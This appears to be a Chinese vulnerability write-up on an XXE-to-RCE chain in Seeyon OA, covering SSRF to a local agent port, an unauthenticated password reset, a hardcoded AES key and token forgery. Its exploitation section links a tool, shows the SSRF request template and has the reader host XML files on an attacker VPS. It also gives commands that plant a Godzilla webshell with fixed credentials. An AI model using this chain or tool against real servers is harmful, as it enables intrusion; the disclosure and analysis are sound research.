【新】致远OA从前台XXE到RCE漏洞分析
0x01 前言
致远OA是目前国内最流行的OA系统之一，前几年也曾爆出过多个安全漏洞。致远官方一直对修复漏洞的态度十分积极，目前能有效利用的致远漏洞已经很少了。
和我们之前分享过的通达OA的漏洞类似，这类主流OA系统现在想要直接一步达到RCE的效果是非常困难的。今天跟大家分享一个通过组合漏洞方式来对致远OA进行RCE的案例，整个利用过程分成多个步骤，应该算是XXE漏洞的典型深入应用场景。
在今年8月的某攻防演练活动中笔者利用此漏洞拿到多个目标的边界权限，后续也将该漏洞也报送给了官方，目前已在新版本中修复。本文仅以安全研究为目的，分享对该漏洞的挖掘和分析过程，文中涉及的所有漏洞均已报送给国家单位，请勿用做非法用途。
0x02 XXE漏洞
致远OA多个版本（A8, A8+, A6）中均存在一个XXE漏洞，在com.kg.web.action.RunSignatureAction类中接收外部输入的参数xmlValue。
info.setTextinfo(textinfo);String xml = ctx.getParameter("xmlValue", new String[0]);String signature = null;if (this.jsNotNull(xml)) {signature = exec.runSignature(info, xml);} else {String protectedData = this.getProtectedData(ctx);signature = exec.runSignature(info, this.getProtectedDataList(protectedData));}
如果不为空，则进入runSignature方法。
public String runSignature(KgSignatureInfo info, String protectedXml) {Listdata = this.xmlToList(protectedXml); this.put(KgSignName.FIELDXML, protectedXml);return this.runSignature(info, data);}
继续跟踪进入xmlToList方法。
public ListxmlToList(String protectedXml) throws KgException { ArrayList protectedDatas = new ArrayList();try {Lists = this.getNodes(protectedXml, "/Signature/Field");
继续跟踪，进入getNodes方法，这里就是很明显的XXE漏洞位置。
private ListgetNodes(String xmlString, String xpath) { ArrayList tmpList = null;try {SAXReader saxReader = new SAXReader();Reader xml_sr = new StringReader(xmlString);saxReader.setEncoding("UTF-8");Document document = saxReader.read(xml_sr);if (document.getRootElement() == null) {throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));} else {List contexts = document.selectNodes(xpath);tmpList = new ArrayList();for(int i = 0; i < contexts.size(); ++i) {if (contexts.get(i) instanceof Element) {tmpList.add((Element)contexts.get(i));}}return tmpList;}}
完整的payload如下，发送下面的请求，触发XXE的SSRF功能。相应内容如下代表存在漏洞。如图2.1所示
图2.1 存在SSRF漏洞的页面响应
图2.2 利用XXE产生SSRF请求
0x03 RCE漏洞
在java环境下是不能直接通过XXE来执行系统命令的，并且这里的XXE是不具有回显的功能，仅能通过XXE来达到SSRF的效果，并且只能进行GET类型的请求。如何通过SSRF来达到RCE的效果是充分利用此漏洞的关键。
本人在分析致远的系统服务的过程中发现致远在某些情况下会开放60001端口，一般是监听在本地地址127.0.0.1的。服务是由一个名为agent.jar的包提供的服务，如图3.1所示。
图3.1 agent.jar开放的60001端口服务
在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController类中定义了方法testDBConnect，如图3.2所示。
图3.2 testDBConnection方法定义
继续跟踪this.configurationManager.testDBConnect方法，如图3.3所示。这个方法的主要作用是用于测试数据库连接，并且允许自定义连接驱动类。
图3.3 允许自定义driverClass
在文章https://paper.seebug.org/1832/中详细介绍了基于JDBC Connection URL的利用方法，其中最简单的是使用通过h2数据库来达到RCE效果，如图3.4所示。对原理感兴趣的小伙伴可以参考原文。
图3.4 通过H2数据库达到RCE效果
到这一步已经可以看出整个命令执行的大致逻辑是通过XXE来执行SSRF请求，通过SSRF访问致远60001端口中的testDBConnection方法，并且传递恶意的driverClass和dbUrl来达到RCE的效果。
然而现实情况下确远没有这么简单，直接访问上面的testDBConnection，会报“非法访问的错误”，如图3.5所示。
图3.5 直接访问testDBConnection报错
根据错误提示反向找到对应的逻辑代码com.seeyon.agent.common.interceptor. SecurityInterceptor的preHandle方法，这应该是全局的拦截器，其中关键的代码如图3.6所示。
图3.6 根据错误提示反响找到验证代码逻辑
从这段代码中可以清晰的看出需要传入参数ad，并且有对ad参数进行有效校验的方法isChecktoken，跟踪isChecktoken方法。
图3.7 isChecktoken方法逻辑判断
isChecktoken方法很简单，其中tokenMap是静态属性，默认为空。需要找到为tokenMap赋值的办法。在这个逻辑卡了很久，很长一段时间都以为没办法利用，后来找到了一个可以为tokenMap写入数据的办法com.seeyon.agent.common.getway.getToken方法，如图3.8，图3.9所示。
图3.8 通过传入的seeyon参数进行AES解密获取字段
图3.9 生成token并响应token结果
跟踪生成token的TokenUtils.getToken方法，如图3.10所示。这里会生成一个随机的token名称，并保存到tokenMap的静态属性中，与图3.7需要的逻辑判断相呼应。
图3.10 生成token并保存到静态属性tokenMap中
但是这里还有两个问题需要处理，一个是图3.8中AES加密的密钥是多少，另一个是传入的参数signature如何进行签名验证。第一个问题需要跟踪AESUtil.Decrypt方法，如图3.11所示，密钥和偏移量iv都为0102030405060708，典型的硬编码问题。第二个问题是签名校验时只是把传入的参数进行sha1计算，然后比较值，如图3.12所示。
图3.11 通过硬编码实现的AES解密
图3.12 通过sha1签名进行校验
到这一步还是不能没有完全解决我们的问题，因为我们在图3.8说了需要传入的参数包括username、pwd和versions这些参数。那么这些参数是怎么来的呢？
1）username参数可以传默认存在的用户名seeyon
2）pwd参数我没有找到默认的值，但是找到了一个任意用户密码重置的接口（这里的用户并不是致远前台WEB的用户，而是60001接口对应的用户）。在com.seeyon.agent.common.controller.ConfigController类的modifyDefaultUserInfo方法中提供了重置用户密码的接口，并且不需要认证，如图3.13所示。
图3.13 通过modifyDefaultUserInfo方法来充值seeyon用户密码
3）versions参数也没有默认值，versions参数来源于当前目标系统版本，实际环境中可能存在多种不同的值2.1.0，2.3.4等都有可能。可以通过接口com.seeyon.agent.common.controller.VersionController类的getVersion方法获取，如图3.14所示。
图3.14 通过getVersion方法获取当前目标致远版本号
到目前为止就分析了完整的漏洞利用过程，整个过程分成多个步骤，漏洞利用过程比较复杂。
0x04 漏洞利用
漏洞分析过程已经在上面的文章中体现了，整个流程还是非常复杂的，感兴趣的同学可以自己去复现。另外我把整个漏洞利用过程写成了一个简单的工具，并整理为下面的步骤。下载的工具解压之后如图4.1所示。
工具下载链接：
https://www.ddpoc.com/poc/DVB-2023-5278.html
图4.1 致远XXE综合利用工具
> Step1：
把124.xml、125.xml和126.xml上传到自己的vps上，并开启WEB访问。
> Step2：
修改124.xml文件中第二个请求的地址为自己的vps地址，如下所示。
">
> Step3：
生成重置密码的POC，使用下面的命令，保证124.xml能正常访问到。
java -cp seeyon.jar Main reset http://yourvps:yourport/124.xml
图4.2 生成重置密码POC
通过获取的payload，修改xmlValue字段的值。后续请求会多次利用下面的请求发起SSRF行为，后续简称SSRF请求。
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxEdocSummaryManager&M=deleteUpdateObj HTTP/1.1Host: target.hostPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 302signatures=YWFh02JiYitY2M%3D&encode=true&elemId=YWFh&imgvalue=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDVNVEl=&xmlValue={payload}
正常来说VPS部分会收到下面的请求，如图4.3所示。如果收到124.xml的请求代表目标存在XXE漏洞；如果收到123.php的请求代表可以对目标进行RCE。
图4.3 重置密码的服务端请求
> Step4：
修改125.xml文件中第二个请求的地址为自己的vps地址，如下所示。
">
> Step5：
生成获取系统版本的POC，使用下面的命令，保证125.xml能正常访问到。
java -cp seeyon.jar Main version http://yourvps:yourport/125.xml
图4.4 生成获取系统版本POC
修改SSRF请求中的payload为生成的POC，发送请求，可以在服务器端查看获取到的版本信息，如图4.5所示。
图4.5 通过界面响应获取版本信息
> Step6：
生成获取param需要的POC，使用下面的命令，其中最后的版本替换为上一步获取的版本，如图4.6所示。
java -cp seeyon.jar Main param 2.0.8
图4.6 生成获取token需要的参数seeyon和signature
> Step7：
修改126.xml文件中的内容，替换为自己地址，需要注意的是这里必须替换参数seeyon和signature中的值为上一步生成的值，如图4.7所示。
图4.7 修改126.xml文件中内容
> Step8：
生成获取token需要的POC，使用下面的命令，如图4.8所示。
java -cp seeyon.jar Main token http://yourvps:yourport/126.xml
图4.8 生成获取token需要的POC
修改SSRF请求中的payload为生成的POC，发送请求，可以在服务器端查看获取到的版本信息，如图4.9所示。
图4.9 获取token
> Step9：
生成最终利用的POC和EXP，使用下面的命令。其中token需要替换为上一步获取的token。
java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA test #探测漏洞 java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA gsl #生成哥斯拉webshell工具提供两种方式test和gsl，其中test在目标服务器上生成一个seeyon.txt的文件，对应的访问方式为http://www.target.com/seeyon.txt,仅用于测试目的；gsl在目标服务器上传哥斯拉webshell，对应的访问访问为http://www.target.com/logon.jsp 111/111。
图4.10 生成用于测试用的test POC
修改SSRF请求中的payload为生成的POC，发送请求。查看目标服务器的
seeyon.txt文件，如图4.11所示。
图4.11 验证漏洞利用是否成功
0x05 结论
由于这个漏洞已经在手里太长时间了，很多分析是一年以前写的，写这篇文章的时候并没有完整的跟踪整个漏洞，其中细节难免有疏忽，如有不对的地方欢迎大家给我们留言。结合上面的分析可以看出致远OA能RCE的前提条件包括：
1、目标服务器出网
2、目标致远开启了60001端口
第一个条件是很容易满足的，因为现在致远的服务器需要在线更新，所以基本上都是出网的；第二个条件不一定满足，从实网测绘数据来看约有1/3的致远OA是开启了这个端口的。
本文仅以提供技术交流为目的，所有漏洞均已上报相关单位，请勿将本文工具用于非法网络攻击目的。